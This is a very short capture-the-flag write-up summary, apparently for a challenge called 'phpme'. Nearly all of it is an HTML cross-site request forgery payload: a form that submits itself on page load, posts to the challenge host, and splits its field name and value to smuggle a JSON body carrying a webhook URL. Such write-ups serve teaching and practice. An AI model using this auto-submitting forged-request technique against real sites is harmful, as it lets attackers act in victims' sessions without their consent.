Rating: 5.0

**TL;DR**

```html
<body onload="document.frm.submit()">
<form name="frm" enctype='text/plain' action="https://phpme.be.ax/" method="post">
<input name='{"yep": "yep yep yep", "url": "webhook", "trash": "' value='"}'>
<input type="submit" value="Submit">
</form>
</body>
```

https://spicy-walnut-eb5.notion.site/phpme-e0fce750ec8a4874b660a293db1754c5

Original writeup (https://spicy-walnut-eb5.notion.site/phpme-e0fce750ec8a4874b660a293db1754c5).